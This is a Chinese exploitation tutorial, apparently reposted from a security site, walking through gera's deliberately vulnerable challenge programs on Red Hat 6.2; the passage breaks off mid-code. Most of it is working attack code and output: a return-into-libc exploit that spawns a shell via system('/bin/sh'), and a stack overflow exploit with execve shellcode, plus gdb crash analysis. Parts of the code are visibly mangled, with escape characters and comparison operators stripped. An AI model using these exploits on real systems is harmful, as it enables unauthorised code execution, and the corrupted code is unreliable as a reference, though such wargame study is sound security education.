【 tulaoshi.com - 编程语言 】
                             
                             作者:alert7  alert7@netguard.com.cn      
  ★★ 三 高级篇   
  测试环境 redhat 6.2 glibc 2.1.3     
  ★ 3.1 演示一   
  /* e1.c * 
  /* specially crafted to feed your brain by gera@core-sdi.com */   
  /* jumpy vfprintf, Batman! */   
  int main(int argv,char **argc) { 
  /* Can you do it changing the stack? */ 
  /* Can you do it without changing it? */ 
  printf(argc[1]); 
  while(1); 
  } 
  请参考拙作利用格式化串覆盖*printf()系列函数本身的返回地址     
  ★ 3.2 演示二   
  /* e2.c * 
  /* specially crafted to feed your brain by gera@core-sdi.com */   
  /* Now, your misson is to make abo1 act like this other program: 
  * 
  char buf[100];   
  while (1) { 
  scanf("%100s",buf); 
  system(buf); 
  }   
  * But, you cannot execute code in stack. 
  */   
  int main(int argv,char **argc) { 
  char buf[256]; 
  strcpy(buf,argc[1]); 
  } 
  唯一需要满足的条件是stack是不能运行的。   
  [alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'` 
  Segmentation fault (core dumped) 
  [alert7@redhat62 alert7]$ gdb e2 core -q 
  Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. 
  Program terminated with signal 11, Segmentation fault. 
  Reading symbols from /lib/libc.so.6...done. 
  Reading symbols from /lib/ld-Linux.so.2...done. 
  #0 0x61616161 in ?? ()   
  /* eXP_e2.c 
  * alert7 exploit for e2 
  */ 
  #include stdio.h   
  #define RET_POS99vION 260 
  #define NOP 0x90 
  #define BUFADDR 0xbffff968 
  #define SYSTEM 0x4005aae0 
  char shell[]="/bin/sh"; /* .string "/bin/sh" */   
  int main(int argc,char **argv) 
  { 
  char buff[1024],*ptr; 
  int retaddr; 
  int i;   
  retaddr=SYSTEM; 
  if(argc1) 
  retaddr=SYSTEM+atoi(argv[1]);   
  bzero(buff,1024); 
  for(i=0;i300;i++) 
  buff[i]=NOP; 
  *((long *)&(buff[RET_POS99vION-4]))=BUFADDR+4*3+strlen(shell); 
  *((long *)&(buff[RET_POS99vION]))=retaddr; 
  *((long *)&(buff[RET_POS99vION+4]))=0xaabbccdd;//当system返回时候的eip 
  *((long *)&(buff[RET_POS99vION+8]))=BUFADDR+RET_POS99vION+4*3; 
  ptr=buff+RET_POS99vION+12; 
  strcpy(ptr,shell); 
  printf("Jump to 0x%08x",retaddr);        
  execl("./e2","e2",buff,0); 
  } 
  [alert7@redhat]$ gcc -o exp_e2 exp_e2.c 
  [alert7@redhat]$ ./exp_e2 
  Jump to 0x4005aae0 
  bash$ id 
  uid=501(alert7) gid=501(alert7) groups=501(alert7) 
  bash$ exit 
  exit 
  Segmentation fault (core dumped)   
  内存增长方向 
  ------ 
   xxxxxx  EBP  EIP  EIP1  参数指针  /bin/sh  
   260个bytes      
  --main执行ret后的esp,ebp值为EBP 
  EIP1为system调用后的返回地址(当然,假如system返回的话) 
  参数指针指向/bin/sh 
  这里我们使EIP1为0xaabbccdd,所以/bin/sh一返回就在0xaabbccdd coredump了。 
  也就是说只要我们精心构造,就可以构造一个函数调用链。比如我们需要调用 
  setuid(0)-system("/bin/sh")-exit(0);   
  该exploit可以成功,很大程度上是因为SYSTEM的地址不包含0,也就是stack不 
  可执行补丁没有使library库mmap到内存低端。   
  更多的击败不可执行stack补丁可参考: 
  绕过Linux不可执行堆栈保护的方法浅析 by waring3 waring3@nsfocus.com 
  和最近p58上的 
  The advanced return-into-lib(c) exploits by Nergal 
  
  
  ★ 3.3 演示三 
  
  /* e3.c * 
  * specially crafted to feed your brain by gera@core-sdi.com */ 
  
  /* are you an enviromental threat */ 
  
  char buf[256]; 
  
  int main(int argv,char **argc) { 
  strcpy(buf,argc[1]); 
  setenv("ABO",argc[2],1); 
  while(1); 
  } 
  [alert7@redhat]$ uname -a 
  Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown 
  [alert7@redhat]$ gcc -o e3 e3.c -static //静态编译的时候才会出现这样的情况 
  [alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a 
  Segmentation fault (core dumped) 
  [alert7@redhat]$ gdb e3 core -q 
  Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
  aaaaaaaaaaaaaaaaaaaaaa'. 
  Program terminated with signal 11, Segmentation fault. 
  #0 0x616161 in ?? () 
  (gdb) quit 
  [alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a 
  Segmentation fault (core dumped) 
  [alert7@redhat]$ gdb e3 core -q 
  Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
  aaaaaaaaaaaaaaaaaaaaaa'. 
  Program terminated with signal 11, Segmentation fault. 
  #0 0x61616161 in ?? () 
  (gdb) BT 
  #0 0x61616161 in ?? () 
  #1 0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209 
  #2 0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c) 
  at malloc.c:1770 
  #3 0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196 
  
     #4 0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a", 
  combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145 
  #5 0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a", 
  replace=1) at ../sysdeps/generic/setenv.c:263 
  #6 0x80481ce in main () 
  #7 0x804831b in __libc_start_main (main=0x80481a0 main, argc=3, 
  argv=0xbffffb24, init=0x80480b4 _init, fini=0x80718ac _fini, 
  rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92 
  
  根据上面的条件,我们可以完全不必理会setenv()内部一系列到底发生了什么。只需要知道 
  在buf+264的地方放入一个值,该值就会变成EIP。 
  
  /* exp_e3.c 
  * alert7 exploit for static e3 
  */ 
  #include stdio.h 
  
  #define RET_POS99vION 264 
  #define NOP 0x90 
  #define BUFADDR 0x807bf60//0xaabbccdd 
  char shellcode[]= 
  "xebx1f" /* jmp 0x1f */ 
  "x5e" /* popl %esi */ 
  "x89x76x08" /* movl %esi,0x8(%esi) */ 
  "x31xc0" /* xorl %eax,%eax */ 
  "x88x46x07" /* movb %eax,0x7(%esi) */ 
  "x89x46x0c" /* movl %eax,0xc(%esi) */ 
  "xb0x0b" /* movb $0xb,%al */ 
  "x89xf3" /* movl %esi,%ebx */ 
  "x8dx4ex08" /* leal 0x8(%esi),%ecx */ 
  "x8dx56x0c" /* leal 0xc(%esi),%edx */ 
  "xcdx80" /* int $0x80 */ 
  "x31xdb" /* xorl %ebx,%ebx */ 
  "x89xd8" /* movl %ebx,%eax */ 
  "x40" /* inc %eax */ 
  "xcdx80" /* int $0x80 */ 
  "xe8xdcxffxffxff" /* call -0x24 */ 
  "/bin/sh"; /* .string "/bin/sh" */ 
  
  int main(int argc,char **argv) 
  { 
  char buff[1024],*ptr; 
  int retaddr; 
  int i; 
  
  retaddr=BUFADDR; 
  if(argc1) 
  retaddr=BUFADDR+atoi(argv[1]); 
  
  bzero(buff,1024); 
  for(i=0;i1024;i+=4) 
  *((long *)&(buff[i]))=retaddr; 
  
  for(i=0;i100;i++) 
  buff[i]=NOP; 
  
  ptr=buff+50; 
  for(i=0;i  *(ptr++)=shellcode[i]; 
  //现在buff的内容为 
  //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA